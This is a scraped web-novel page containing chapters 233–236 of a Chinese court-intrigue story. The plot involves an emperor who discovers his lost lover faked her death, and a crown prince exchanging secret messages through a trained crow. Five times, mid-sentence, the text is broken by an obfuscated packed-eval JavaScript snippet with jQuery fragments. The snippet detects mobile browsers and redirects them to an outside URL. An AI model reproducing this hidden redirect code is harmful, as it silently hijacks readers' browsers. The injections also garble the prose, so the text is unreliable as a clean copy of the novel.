这几个字仿佛重锤般击打在老者心上,他踉跄几步,若不是温公公眼疾手快地扶住,怕是要跌倒在地。 “黄老爷!”林芷柔假装才发现异样,快步上前。她看着老者苍白的面色,柔声道:“若喜欢,不妨带回去慢慢观赏。” 她取下画卷,仔细系好绳子递给温公公。然而老者却一把抢过,紧紧抱在怀中,脚步虚浮地向外走去。 待人走后,林芷柔站在门口,望着远去的背影若有所思。她唤来墨翎,写了张纸条让它送去给惜柳。墨翎点头,展翅飞向东宫。 阳光渐渐西斜,在地上拉出长长的影子。林芷柔回到屋内,望着老者坐过的位置出神。这只是开始,接下来的事,恐怕会更加有趣。她走到药柜前,开始准备制药的材料,心中盘算着接下来可能发生的变化。 门外传来脚步声,又一位病人来访。林芷柔收起思绪,整理衣襟,准备迎接新的病人。毕竟,她现在的身份是一名大夫,治病救人才是本分。至于其他的事,就让它顺其自然吧。 御书房内,一片寂静。 檀香袅袅升起,在昏暗的光线中缓缓盘旋。皇帝站在窗前,目光凝视着手中那幅画像。画中女子眉目如画,眼波流转间似有千言万语,那一抹朱砂痣更是令画像显得栩栩如生。 “这不可能...”皇帝的手指轻轻抚过画像上那抹红痣,眼底闪过一丝痛楚。 画像被摆在御案上,烛光映照下,那双眼眸仿佛在诉说着什么。皇帝踱步至案前,指节无意识地敲击着桌面。 “昌雨柳...”低沉的声音在空旷的御书房内回荡。 二十年了,这个名字始终萦绕在他心头。当年她血崩而亡的消息传来时,他几乎发疯般赶往别院,却只见到一具冰冷的棺木。他在棺木旁守了整整一夜。 宫女们说,那是她最后的心愿,要穿着嫁衣入土。可他连最后一面都未能见到。 “皇上,时辰不早了,该用膳了。”温七小心翼翼地提醒道。 皇帝摆了摆手,目光依旧停留在画像上:“你说,这世上会有如此相像的人吗?” 温七垂首不语,额头渗出细密的汗珠。 “朕记得,当年她在教坊司时,是你负责照看的。”皇帝突然转身,目光如炬地盯着温七。 温七身子一颤:“是...是的皇上。” “那时,可有什么异常?” 温七跪下,额头抵在地上:“回...回皇上,老奴...” “说!”皇帝厉声喝道。 “当时确实有一位贵客来访,出手阔绰,只为见韦小姐一面。”温七声音颤抖,“那人身份神秘,来去匆匆。” 皇帝冷笑一声:“为何现在才说?” “老奴该死!当时见您与韦小姐情深意重,不忍打扰。后来她...她走了,老奴便觉得此事也无需再提。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16008574|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无需再提?”皇帝一把抓起画像,“你可知这是谁?” 温七战战兢兢地抬头,只见画像上的女子眉目间透着几分威仪,虽较年轻时更显成熟,但那双眼眸,那抹红痣,分明就是... “玄冥柳贵妃...”温七声音微弱。 “不错!”皇帝将画像重重拍在案上,“她根本没死,而是逃去了玄冥!还为玄冥皇帝生下了六皇子李远龙!” 温七额头抵地:“老奴有罪,当年实在不知...” “你当然不知,”皇帝冷冷打断,“她算计得很好,用一场假死骗过所有人。那具棺材里装的,怕是早就准备好的替身吧?” 御书房内的温度仿佛骤降,温七不敢抬头,只听见皇帝沉重的脚步声在房内回荡。 “你可知朕这些年是怎么过来的?”皇帝站在窗前,声音低沉,“朕以为她**,日日思念,夜夜难眠。朕为她守了二十年,可她呢?她却跑去了玄冥?” 最后几个字几乎是从牙缝里挤出来的。 温七小心翼翼道:“皇上,您的心疾...” “心疾?”皇帝闭上眼深吸一口气,“你说得对,朕要保重身体。朕要亲眼看着这个背叛朕的女人是什么下场。” 皇帝重新拿起画像,烛光下,那张熟悉的面容令他心口一阵绞痛。他想起她的笑容,想起她的温存,想起她说过的每一句话。 原来都是假的。 他以为她是被家族逼迫,才不得不进教坊司。他心疼她,想尽办法要救她。可现在看来,那不过是她精心设计的一场戏。 她利用了他的真心,利用了他的怜惜,用一场假死换取了自由。 而他,竟真的为她守了二十年。 “昌雨柳,你可真会算计。”他冷冷一笑,“既然你选择了背叛,那就别怪朕无情。” 窗外寒风呼啸,吹散了最后一丝留恋。皇帝将画像扔进火盆,看着那张脸在火焰中渐渐化为灰烬。 温七站在门外,听着御书房内传来的咳嗽声,眼中闪过一丝担忧。这些年,皇上的心疾一直未愈,如今又... “温七。” “老奴在。” “去准备笔墨,朕要给玄冥皇帝写封信。”皇帝的声音透着几分疲惫,“既然他的柳贵妃这么想家,朕这个故人,总该尽一尽地主之谊。” 温七应声而去,心中却升起一丝不安。他知道,一场风暴即将来临。 御书房内,皇帝望着窗外的夜色,眼中闪过一抹幽光。二十年的执念,终于可以有个了断了。 第二百三十三章 传递消息 “传影卫统领。”皇帝突然开口,声音里带着不容置疑的威严。 不多时,一道黑影悄无声息地出现在御书房内。 “将昌雨柳的所有事情重新查一遍。”皇帝的声音透着几分雨柳,“尤其是她如何成为玄冥柳贵妃的过程。另外...”他顿了顿,眼中闪过一丝晦暗不明的情绪,“查清她是否曾派人接触过魏王。” “是!”影卫领命而去,脚步声消失在长廊尽头。 皇帝将手中的画像狠狠揉成一团,丢进垃圾桶。他闭上眼,试图平复内心翻涌的情绪。额角的青筋突突直跳,显示着他此刻的心情并不平静。 几十年来,他一直以为自己最爱的女人是那样纯真无暇。每每想起她的“死讯”,他都会心痛难耐。可如今... 可笑,可悲。 他从未想过要将玄冥的柳贵妃与她联系在一起。那个在玄冥呼风唤雨的女人,竟是他一直思念的人。 心口突然传来一阵剧痛,皇帝扶着桌案缓缓坐下。他摆了摆手,示意殿内的太监退下。 “昌雨柳...”他低声念着这个名字,声音里充满了复杂的情绪。 东宫内。 一只黑色的乌鸦正盘旋在空中,发出几声清脆的鸣叫。 惜柳抬头望去,眼中闪过一丝惊喜。她认出这是林大夫家中那只灵性十足的乌鸦。这段时间,这只乌鸦经常往来东宫,为太子传递消息。 乌鸦将口中叼着的纸条轻轻放在惜柳手中,便展翅飞走了。阳光下,它的羽毛泛着幽蓝的光泽。 惜柳展开纸条,上面写着“速给太子”几个字。她的心跳不由自主地加快了几分。 最近东宫内外气氛紧张,每个人都小心翼翼。自从云陵伯府的事情后,太子便被禁足在东宫,这让所有人都战战兢兢。 惜柳快步走向太子的书房,路上遇到几个宫女太监,都默契地低头避开。 书房内,太子正在练字。自从被禁足后,他每日不是在书房读书,就是在花园练拳打坐。表面上看起来云淡风轻,但谁都知道,这平静之下暗流涌动。 “殿下,林大夫有信传来。”惜柳将纸条呈上,声音轻柔。 司马宁接过纸条,仔细阅读起来。阳光从窗棂间洒落,在他俊朗的面容上投下细碎的光影。 片刻后,他的表情凝固了。手中的毛笔“啪嗒”一声掉在砚台上,墨汁溅出几点。 “星河的妻子,当真了得。”司马宁轻声自语,眼中闪过一丝复杂的神色。 他将纸条放在烛火上点燃,看着它化为灰烬。烛火映照下,他的脸上阴晴不定。 从小到大,父皇对大哥的宠爱他看在眼里。每次宫中有什么好东西,总是先紧着大哥。就连御膳房准备的点心,也总是先送去魏王府。 而他呢?只有一个太子的虚名。 “你有太子之位,有你母后的疼爱,还要什么?”父皇的话言犹在耳。 司马宁嘴角扯出一抹苦笑。这太子之位,何尝不是一个华丽的牢笼? 就连他的婚事,父皇也只是走个过场,随意指了个官家小姐。而大哥的婚事,却是父皇亲自操办,甚至为此大赦天下。 如今,这个备受宠爱的大哥,他的生母竟是个骗子。假死脱身,远嫁玄冥为贵妃。这消息若是传出去,不知会掀起怎样的风波。 “惜柳,”司马宁突然唤道,声音里带着几分疲惫,“你说林大夫能治好你的心疾?” “是的,殿下。”惜柳低声回答,“林大夫说可以通过手术取出暗器。” “手术?”司马宁皱眉,眼中闪过一丝担忧。 “是的,就像她为墨香书斋老板做的那样。”惜柳补充道,声音里带着几分期待。 司马宁沉思片刻,手指无意识地敲击着桌面:“那你就趁这次送信的机会,留在林大夫那里养病吧。” “多谢殿下。”惜柳福了福身,眼中闪过一丝感激。 “对了,”司马宁又道,“以后若见到乌鸦飞来,不要伤害它。那是林大夫的信使。” 惜柳想起林芷柔和那只乌鸦的互动,嘴角不自觉地扬起一抹温柔的笑意,“那只乌鸦确实非同寻常,不仅能听懂人言,还能准确传递消息。若是太子殿下有什么话要传给林大夫,只需对它说便是。” 司马宁站在窗前,眼中闪过一丝惊讶:“竟有如此神奇之事?”他转身踱步到书案前,手指轻轻敲击着桌面,“有机会本太子定要亲眼见识一番。” “林大夫本就不是寻常人物,她调教出的鸟儿自然也与众不同。”惜柳说完,恭敬行礼退下。她的身影在阳光下拉得很长,渐渐消失在东宫的回廊尽头。 走出东宫,惜柳摸了摸隐隐作痛的太阳穴。这病症越发严重,眩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16010031|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晕感一天比一天强烈。清晨醒来时,她发现枕边又有几缕脱落的黑发。镜中的脸色愈发苍白,连唇色都淡得几乎看不见。 惜柳停下脚步,扶着廊柱稳住身形。她不敢想象若是哪天昏倒,会不会就此一睡不醒。眼前时而清晰时而模糊,耳边传来宫女们的说笑声,却仿佛隔着一层薄纱,朦朦胧胧。 既然林大夫说能治,那便是一线生机。与其坐以待毙,不如放手一搏。她深吸一口气,继续向前走去。 街市上热闹非凡,小贩的吆喝声此起彼伏。来到仁心医馆时,林芷柔正准备离开。她今日穿了一身淡青色的长裙,衬得肤色如雪,清丽脱俗。看到惜柳,她微微挑眉,目光在对方身上打量。 惜柳今日没穿暗卫服,而是一身普通布衣,既不显眼也不寒酸,在这城南倒也相得益彰。她虽生得清秀,却总是一副冷冰冰的模样,仿佛永远带着一层看不透的面具。 医馆内飘着淡淡的药香,几个病人正在等候。不等寒暄,惜柳便从袖中取出一封信递了过去。 林芷柔接过信件,纤细的手指轻轻展开。太子想知道魏王是否知晓其生母尚在人世,同时提到皇上必定会调查此事。她的目光在字里行间流连,眉头微微蹙起。 思索片刻,林芷柔决定将魏王与李远龙的关系告知太子。无论皇帝那边查得如何,太子心中有数总是好的。她走到案前,提笔写下回信。笔尖在宣纸上游走,留下一串流畅的字迹。 写完回信,她抬头问道:“你要回去送信吗?” 惜柳摇头:“不必这么麻烦,让您的乌鸦送到东宫书房去便是。”她顿了顿,“我此来是为了手术。” 林芷柔点头,将信件折成特定形状,递给墨翎:“送到东宫书房去。” 墨翎应了一声,叼起信件振翅而去。它的羽毛在阳光下泛着淡淡的蓝光,转眼便消失在天际。 惜柳看得入神:“真是神奇,这般传递消息既快又隐秘。”她的目光依然停留在墨翎消失的方向。 “也未必。”林芷柔淡淡道,“若被心怀不轨之人发现,一箭便可射落。”她走到药柜前,开始整理今日需要的药材。阳光透过玻璃柜门,将各色药材映照得清晰可见。 她心里还惦记着青羽,不知它找到楚星河没有,更不知他们是否平安。手中的药材散发着淡淡的香气,却难以安抚她焦躁的心绪。 第二百三十四章 昌雨柳的计谋 东宫书房内,司马宁正静候那只神奇的乌鸦。他已吩咐暗卫,若见到乌鸦靠近,切勿伤害。墨翎飞入东宫,一时找不到书房。它停在屋檐上,向一只麻雀打听。得知方向后,很快发现了守在树上的暗卫。暗卫身形隐在枝叶间,若不仔细观察,很难发现他们的存在。 暗卫看见这只乌鸦,不禁暗自称奇。这乌鸦通体漆黑,眼神却异常灵动,与寻常飞禽大不相同。墨翎却没理会他,直接从窗户飞入书房。 书房内,檀香袅袅,司马宁见乌鸦落在房梁上,便试探道:“你是来找我的吧?是惜柳让你来的?”他的声音温和,带着几分好奇。 墨翎不为所动。主人教过它,不能轻易相信任何人。它警惕地打量着四周,时刻准备应对可能的危险。 正巧太子妃端着食盒进来:“太子殿下,妾身为您煲了碗汤。”她的声音轻柔,带着几分关切。 墨翎这才确认了司马宁的身份,将信件丢到太子的书案上。它的动作干净利落,没有丝毫拖泥带水。 太子妃望着眼前这只黑乎乎的乌鸦,一时间有些愣神。那乌鸦就这样大喇喇地站在书案上,红色的眼睛直勾勾地盯着她。 她早已习惯了信鸽带来消息,却不曾想今日竟是一只乌鸦。这般不祥之物,怎会出现在太子府中? 太子妃将食盒放在案上,轻声道:“殿下,趁热喝吧。”她的目光落在司马宁手中的信件上,却识趣地没有多问。 司马宁展开信件细细阅读。信中的内容让他眉头微蹙,手指无意识地摩挲着信纸边缘。 “这是...”太子妃看着墨翎正欲说话,却见对方转身欲走。 “且慢。”司马宁开口,声音不疾不徐,目光在太子妃身上轻轻扫过,“你先出去吧,我还有话要交代。”太子妃心中一紧,总觉得有什么事情瞒着自己。抿了抿唇,识趣地行了一礼,轻声退出书房。裙裾摆动间,她的脚步略显迟疑,却终究没有回头。 房门合上的瞬间,司马宁眼中的平静瞬间荡然无存。他猛地站起身来,连桌上的参汤都顾不得喝了,几步便来到乌鸦面前。 “替我谢谢林大夫,这消息对我来说,当真是雪中送炭。”他的声音压得极低,生怕隔墙有耳。 墨翎发出一声啼叫,在司马宁耳中听来,不过是寻常的乌鸦叫声。但他知道,这只乌鸦绝非寻常。 “你若再来,不必拘束,直接进来便是。”他说着,目光不自觉地扫向窗外。院中的侍卫来回巡视,每个角落都不曾放过。这般森严的守卫,却挡不住一只小小的乌鸦。 那乌鸦竟真的点了点头,展翅一飞,转眼便消失在房梁上的通风口中。它的动作灵巧得不可思议,仿佛早已熟悉这条路线。 司马宁怔怔望着乌鸦消失的方向,心中惊叹不已。林大夫果真神奇,居然能把一只乌鸦训练得如此通人性。这般本事,怕是连御兽师都望尘莫及。 低头看着手中的纸条,他眼神一凛。纸条上的字迹潦草,显然写信之人心绪不宁。但内容却令他心惊。将纸条凑近烛火,他目送着它化为灰烬。 昌雨柳,这个女人的野心未免太大了些。不满足做一国太后,还想同时掌控两国。她以为自己是武则天不成? 司马宁在书房中来回踱步,脚步声被厚重的地毯吸收,只余下一片死寂。柳贵妃、六皇子、李远龙,还有那个秦面罗刹...这些人物如同棋子般在他脑海中排列组合。 魏王的银矿竟是玄冥柳贵妃所赐,这其中的关联...他不敢细想。若是让朝中大臣知晓,怕是要掀起滔天巨浪。 “砰”的一声,司马宁一拳砸在书案上。茶盏震动,水花四溅。 云陵伯父子被流放,云州的连珠弓图谱怕是难保。若是落入玄冥之手...他不敢想象那个后果。天玄的防御工事将形同虚设,玄冥大军可长驱直入。 他握紧了拳头,指甲深深陷入掌心,却浑然不觉疼痛。如今被禁足在府中,就算知道这些又能如何? “星河...”他轻声呢喃,声音里带着几分无奈,“魏王这般野心,天玄危矣。” 与此同时,林芷柔正在家中接到了墨翎带回的消息。她坐在庭院的石凳上,手中把玩着一枚玉佩。那是楚星河临行前留给她的。 她静静听完墨翎的汇报,只是点了点头,什么也没说。但那紧握玉佩的手,却暴露了她内心的不平静。 几日后,青羽归来,带着楚星河的信件。它的羽毛因为长途飞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16010032|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行而有些凌乱,但精神却异常亢奋。 “快给我水喝,累死我了。”青羽伸出脚,让林芷柔取下竹筒,“我家灵灵还好吧?这一路上我可想死它了。” 林芷柔看着这只聒噪的鹰隼,心中一暖。她轻轻抚摸着它的羽毛,吩咐萤萤去准备水和肉。 “小怀跟阳阳走了,小花我准备送出去。以后就你和灵灵留在身边了。”她的声音很轻,像是在自言自语。 青羽听了,心中暗自叹息。这个无良主人,对自己的崽子都这般狠心。它张了张嘴,却不知该说什么话。 打开信件,楚星河那龙飞凤舞的字迹映入眼帘。用炭笔写就的文字,因为太过用力,纸张都被戳破了几处。字迹歪歪扭扭,却透着一股子急切。 【柔柔,家中事务有劳你操心。老夫人不是我亲祖母,分家便分吧。得好好照顾自己和母亲。柔柔,我好想你,真的好想你...】 整张纸都写满了“想你”二字,密密麻麻,几乎看不清原本的字迹。林芷柔的手指轻轻抚过那些凹凸不平的笔画,仿佛能感受到他写信时的心情。 她将这封信收入锦囊,其余两封分别交给楚星澜和太子。这是她现在唯一能做的事。 楚星澜接过信件,手指微微发颤。她看了又看,目光在字里行间徘徊,终于忍不住落泪。 “嫂嫂,太好了...大哥他们平安...”她的声音哽咽,泪水模糊了视线。 林芷柔看着小姑子哭泣的模样,心中也是一阵酸涩。她伸手将楚星澜揽入怀中,轻轻拍着她的背。 她也在担心呀?三个男人,一路向北,会遇到什么危险?若是碰上魏王的**...她不敢再想下去。每每想起,心就像被人狠狠攥住。 好在,他们终是平安抵达。这个消息,足以让她安心几分。 后院的西七看着楚星澜哭泣的模样,心中莫名一痛。他站在廊下的阴影中,目光始终没有离开过那个单薄的身影。 他从未对任何女子动过心,可如今,却因她一滴眼泪而心绪难平。这种感觉很陌生,却又似曾相识。 夜色渐深,院中的灯笼一盏盏亮起。林芷柔站在窗前,望着北方的天空。那里,有她朝思暮想的人。 第二百三十五章 楚云仲要开私塾 林芷柔正在医馆里整理药材,手指轻轻掠过一排排药柜,仔细检查每一个抽屉的标签。突然门帘被人掀开,一阵清脆的笑声传来。 “柔柔!柔柔!”珩氏满面春风地冲进来,手里还拿着一个鼓鼓囊囊的钱袋,脸上的笑容像是三月里盛开的桃花,“你看看,这是墨香书斋给的分成,整整三十两呢!” 林芷柔抬头一看,除了珩氏外还有一个中年男子跟在后面。那人身着青灰色长衫,举止温和有礼,眉眼间透着几分书卷气,想必就是楚家三叔楚云仲了。 “三叔。”林芷柔放下手中的药材,起身相迎。她的动作优雅从容,举手投足间尽显大家闺秀的气度。 “是啊,我是三叔。”楚云仲笑着点头,目光中带着几分赞许,“早就听说星河娶了个好媳妇,今日一见果然名不虚传。” 林芷柔将两人请到内室坐下,取出点心招待。那是一盘精致的桂花糕,金黄的糕点上还点缀着几片新鲜的桂花,香气四溢。 珩氏一边吃着点心,一边喜滋滋地说道:“柔柔,你真是我的福星!要不是你给我出主意写话本子,我哪能挣这么多银子?”她说着,又从钱袋里掏出几锭银子,在阳光下闪着耀眼的光芒。 看着珩氏开心的样子,林芷柔心里也很高兴。这位三婶虽然有些话多,但为人率真,能帮她找到一条生计之路,也算是一桩善事。她端起茶杯,轻轻抿了一口,淡淡的茶香在唇齿间萦绕。 “三婶,第二集写好了吗?”林芷柔放下茶杯问道。 “写好了写好了!”珩氏连忙从袖中掏出一叠纸张,纸张边角还有些微微泛黄,显然是反复修改过的痕迹,“你帮我看看,有什么不妥的地方赶紧改,严掌柜还等着呢。” 林芷柔接过来仔细阅读,时不时在纸上做些标注。她的笔迹清秀工整,每一个字都写得恰到好处。楚云仲在一旁看着,不禁感慨这个侄媳妇年纪轻轻,却见识不凡。不仅医术高明,还能指点他夫人写话本子。 “三婶,故事写得不错,就是结尾太平淡了些。”林芷柔指着最后一页说道,她的手指在纸上轻轻点了点,“不如加个悬念,让读者想知道下一**发生什么。比如这里,可以写女主角发现了一封神秘的信,但内容要留到下一集才揭晓。” “对对对!就像钓鱼要放饵一样。”珩氏恍然大悟,眼睛亮晶晶的,“我这就改。”说着,她拿起毛笔,蘸了蘸墨,开始专注地书写起来。 趁着珩氏低头修改的功夫,楚云仲轻声道:“星河媳妇,三叔也想做点事情,你看开个私塾如何?” “三叔想教书育人?”林芷柔眼睛一亮,但随即又想到什么,眉头微微蹙起。 “是啊,就是家里地方小,老夫人又怕吵。”楚云仲叹了口气,目光中闪过一丝无奈,“现在的日子虽然过得去,但总觉得少了点什么。” “那不如买处院子?”林芷柔提议道,她的声音清脆悦耳,带着几分温和,“银子的事不用操心,我可以先借给三叔。最近城南那边有几处不错的院子,位置清静,很适合开私塾。” “这...”楚云仲有些犹豫,手指无意识地摩挲着茶杯。 “老爷,就这么定了!”珩氏抬起头来,墨迹还未干的毛笔在空中挥舞,“柔柔都说借咱们银子了,还怕什么?比去墨香书局做什么账房先生强多了!” “墨香书局?”林芷柔微微蹙眉,眼中闪过一丝警惕,“三叔,他们给你开多少银子?” “每月十两。”楚云仲说着,自己也觉得这个数目有些不太寻常。 “一般账房也就五六两吧?”林芷柔若有所思,手指轻轻敲击着桌面,“三叔还是小心为上。这墨香书局之前可是连三婶的话本子都看不上眼,现在却愿意给这么高的薪酬...” 楚云仲听出了她话中的警醒之意,心中一凛。想起墨香书局之前对珩氏的态度,再看现在给出的优厚条件,确实有些蹊跷。他放下茶杯,目光变得凝重起来。 “三叔说得对,还是开私塾稳妥。”林芷柔笑道,语气轻松了几分,“等找到合适的院子,我就把银子给三叔送去。” 珩氏一听就乐了:“柔柔,你真是我们楚家的福星!老爷,咱们赶紧去找院子吧!”她说着,已经开始盘算起私塾的具体事宜来。 忽而三叔楚云仲手指无意识地摩挲着茶杯边缘,眉头紧锁。 “三叔,”林芷柔轻声开口,“您还有什么担心的事情吗?” 楚云仲抬头看了她一眼,又低下头去。堂屋里一时陷入沉默,只有茶水渐渐冷却的轻微响动。 “星河媳妇,”楚云仲终于开口,声音里带着几分迟疑,“要不这事还是算了吧。” “为什么?”林芷柔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16017526|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在他对面坐下,目光温和地注视着这位年过四旬的长辈。她注意到三叔的衣领已经有些发旧,布料泛着淡淡的灰色。 楚云仲叹了口气:“你们刚在城南置办院子,已经花了不少银子。再说开私塾也不是小事,需要的银钱......” “三叔是担心银钱的事?”林芷柔打断他的话,嘴角浮现出一丝笑意。 珩氏这时从厨房走出来,手里还端着一盘刚蒸好的点心。她放下点心,在楚云仲身边坐下:“老爷,您就别推辞了。这么好的机会......” “是啊,”林芷柔接过话头,“三叔您一直想找点事做,开私塾最适合不过。您的学问这么好,教书育人最合适。” 楚云仲的手指在茶杯上停顿了一下:“可是......” “三叔,”林芷柔往前倾了倾身子,“您还记得当初帮我们的那一百五十两银子吗?那时候我们举目无亲,是您第一个对我们伸出援手。” 提起往事,楚云仲的眼神闪烁了一下。 “娘常说,滴水之恩当涌泉相报。”林芷柔继续说道,“现在我们总算有些起色,也该报答三叔的恩情了。” 珩氏在一旁擦了擦眼角:“柔柔,你这孩子......” “再说了,”林芷柔露出一个俏皮的笑容,“三婶的话本子现在可是城里最抢手的。每一本都能赚不少银子,您说是不是?” 珩氏脸上泛起红晕:“哪有那么夸张......” “三婶太谦虚了,”林芷柔笑着说,“上个月光是《玉燕笺》就卖了两百多本,这个月《玉面郎君》更是供不应求。” 楚云仲看了看妻子,眼中闪过一丝骄傲。 “老爷,”珩氏握住丈夫的手,“城南这边适龄的孩子不少,肯定有人愿意送孩子来读书。咱们要是买了院子,还能把老宅那间屋子让给二嫂住。这样老夫人也会同意的。” 楚云仲陷入沉思。堂屋里又安静下来,檐下的风铃偶尔发出清脆的响声。 林芷柔看着三叔紧皱的眉头,知道他在犹豫什么。这么多年来,楚云仲一直过着清贫的生活,突然要借这么多银子,确实需要莫大的勇气。 “三叔,”她轻声说,“做事业哪有不投入的?只需全心投入,就没有办不到的事情。您看我们,当初不也是从一无所有开始的吗?” 第二百三十六章 三叔三婶 楚云仲抬起头,目光在这个年轻的侄媳妇脸上停留。这个女子不仅有胆识,还如此懂得为人处世。难怪能在短短时间内在城里站稳脚跟。 “您放心,”林芷柔补充道,“银钱的事包在我身上。等私塾开起来,您什么时候有银子了再还就是。” 楚云仲的眼眶有些发红:“星河媳妇,这......” “好了,”林芷柔起身走进后院,很快取来一个红木匣子。她从里面拿出两千两玉牌,放在桌上,“三叔带着这个去看院子,看中了好付定金。” 楚云仲看着那厚厚的玉牌,手微微颤抖。当初他不过是送了一百五十两,如今却要得到十倍的回报。这份恩情,实在让他无地自容。 “三叔不必觉得过意不去,”林芷柔看出他的想法,“亲人之间互帮互助是应该的。” 珩氏在一旁抹着眼泪:“柔柔,要不是你,我们哪能想到还有这样的出路......” “三婶,”林芷柔笑着摇头,“您这是说的什么话,太见外了。对了,我听说温五陈那里最近有几处不错的宅子,三叔可以去看看。” 珩氏和楚云仲面面相觑,眼中满是震惊。屋内一时陷入沉默,只听得窗外飘来几声鸟鸣。 两千两银子,这数目着实不小。玉牌在楚云仲手中微微颤抖,他能感受到纸张传来的分量,仿佛千斤重担压在心头。 “这...这银子......”楚云仲的声音有些发涩,他抬头看了看林芷柔,又低头盯着那几张玉牌,喉结滚动了几下才继续道,“城南那边的院子,一千两就够了,这银子未免太多了些。” 他这一辈子从未向人借过钱,为人师表多年,最重诚信二字。如今这么大一笔钱压在心头,让他如坐针毡。手中的玉牌烫手得很,仿佛随时会将他的手掌灼伤。 珩氏坐在一旁,双手不停地绞着衣角。她看看丈夫,又看看林芷柔,小心翼翼地开口:“是啊,我们不需要太大的宅子,稍大些就成。这么多银子......”她的声音越来越小,最后几乎成了蚊呐。 林芷柔端起茶盏抿了一口,脸上挂着温和的笑意:“三叔三婶不必推辞,先拿着。”她将茶盏轻轻放下,瓷器与木桌相碰发出清脆的声响,“等置办完了,剩下的再还我就是。再说了,开私塾哪是光有院子就成的?桌椅板凳、文房四宝,这些都要钱呢。” “对啊!”珩氏眼前一亮,仿佛抓住了救命稻草,“老爷,咱们还真得准备这些。”她转向丈夫,眼中带着期待。 楚云仲坐在那里,久久未语。阳光透过窗棂洒在他身上,在地上投下斑驳的影子。他看着那些光影,思绪纷乱。一边是妻子期待的眼神,一边是这笔巨额的银子,两相权衡之下,他终是缓缓点了点头:“好。” 这一个“好”字,说得极轻,却仿佛用尽了他全身的力气。他心里清楚,自己送来的那一百五十两与这两千两相比,实在是太少。星河媳妇如此信任他们,连张借条都不要,这份情谊比银子更重。 “星河媳妇,”楚云仲的声音有些哽咽,“多谢你。有了这笔钱,三叔总算能干点正经营生了。”说着,他站起身来,深深作揖。 林芷柔连忙起身相扶:“三叔太客气了。当初您帮衬我们家的恩情,我娘时常挂在嘴边。如今您想开私塾,我这点银子不算什么。” “哪里是一样的?”珩氏拉着林芷柔的手,眼中泛着泪光,“我们不过是借些银钱,你却给了我们一条生路啊。”她握着林芷柔的手,仿佛要将这份感激之情都传递过去。 送走了楚云仲夫妇,林芷柔回到院中。院子里的花草散发着淡淡的清香。她深吸一口气,将小墨从锦囊里唤出。 小墨一出现就扑腾着翅膀,在院子里转了几圈,最后停在林芷柔肩头。它歪着脑袋,好奇地打量着四周,似乎在寻找什么。 青羽正躺在一旁的石凳上打盹,听到动静睁开眼,见到女儿顿时跳了起来。它竖起尾巴,一脸警惕:“你这无良主人,把我闺女弄出来作甚?”它踱着步子靠近,眼中闪过一丝担忧,“莫不是要送人?” “怎么?舍不得?”林芷柔挑眉看着青羽,嘴角带着几分戏谑,“我这是为你着想,送给太子,小墨就能留在帝都。你们父女想见面也方便。”她顿了顿,故意逗它,“要不然,我把黑鹰老五送去?” 青羽听了这话,尾巴顿时耷拉下来。它在院子里来回踱步,时不时看看小墨,又看看林芷柔。最后,它歪着脑袋想了想:“罢了罢了,让小墨去吧。至少能时常见面。”说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16017527|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这话时,它的声音里带着几分不舍。 小墨却是一脸委屈,从林芷柔肩头跳下来,往她怀里直钻:“主人,我不想去......”它的声音带着哭腔,羽毛都蔫蔫的。 林芷柔轻抚着它的羽毛,语气温柔:“傻丫头,太子府上有的是好东西,比咱们这儿还要热闹呢。”她的手指轻轻梳理着小墨的羽毛,就像安抚一个受委屈的孩子。 